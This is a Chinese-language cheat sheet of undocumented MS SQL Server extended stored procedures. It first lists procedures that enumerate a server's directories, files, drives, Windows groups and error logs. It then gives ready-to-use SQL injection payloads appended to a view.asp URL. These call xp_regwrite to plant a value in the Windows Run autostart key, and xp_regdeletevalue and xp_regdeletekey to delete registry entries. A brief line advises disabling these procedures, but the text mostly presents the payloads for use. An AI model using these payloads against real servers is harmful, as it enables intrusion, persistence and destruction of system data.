--獲得MS SQL的版本號碼
execute master..sp_msgetversion
--得到硬碟檔案資訊
--參數說明:目錄名,目錄深度,是否顯示檔案
execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1
--列出伺服器上安裝的所有OLEDB提供的程式
execute master..xp_enum_oledb_providers
--列出伺服器上安裝的所有字碼頁
execute master..xp_enumcodepages
--列出伺服器上配置的dsn
execute master..xp_enumdsn
--列出sql server錯誤記錄檔列表,最後更新時間
execute master..xp_enumerrorlogs
--列出伺服器上所有windows本機群組
execute master..xp_enumgroups
--檢測檔案存在性
execute master..xp_fileexist 'c:\a.bak'
declare @flag int
exec master..xp_fileexist 'c:\abc.bak',@flag out
if @flag=1
begin
print 'exist'
end
else
begin
print 'no exist'
end
--列出伺服器上固定磁碟機,以及每個磁碟機的可用空間
execute master..xp_fixeddrives
--得到當前sql server伺服器的電腦名稱
execute master..xp_getnetname
--列出當前錯誤記錄檔的具體內容
EXEC [master].[dbo].[xp_readerrorlog]
--列出指定目錄的所有下一級子目錄
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT'
---列出磁碟機的名稱
--以位元組為單位的空閑空間(low free)
--以磁碟機類型:軟碟機(1),硬碟(2),cd-rom(8)
EXEC [master].[dbo].[xp_availablemedia]
--效果如下:
name low free high free media type
C:\ 1270386688 0 2
D:\ 1726824448 2 2
E:\ 875053056 10 2
F:\ 0 0 8
還有在[master].[dbo].[sp_addlogin]裡面有加密函數pwdencrypt,大家感興趣可以試試
SQL Server中包含了幾個可以訪問系統註冊表的擴充預存程序.但實際上這幾個擴充預存程序是未公開的,從sql server 7.0就有了,
在SQL server 2000中仍然保留,他們以後可能會刪除.但是這幾個預存程序卻提供了在當前的SQL Server版本中訪問系統註冊表的能力,
而且很多人利用SQL Server來進行攻擊系統時,往往都會用到這幾個擴充預存程序.所以最好在SQL Server中禁用他們.
http://127.0.0.1/view.asp?id=165
存在mssql的sql注入,那麼
xp_regwrite 寫入註冊表
使用方法:
xp_regwrite 根鍵,子鍵, 值名, 實值型別, 值
http://127.0.0.1/view.asp?id=165;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\run','TestValueName','reg_sz','hello'
注意實值型別有2種REG_SZ 表示字元型,REG_DWORD 表示整型
xp_regdeletevalue 刪除某個值
使用方法:
xp_regdeletevalue 根鍵,子鍵,值名
http://127.0.0.1/view.asp?id=165;exec master.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
xp_regdeletekey 刪除鍵,包括該鍵下所有值
使用方法:
http://127.0.0.1/view.asp?id=165;exec master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'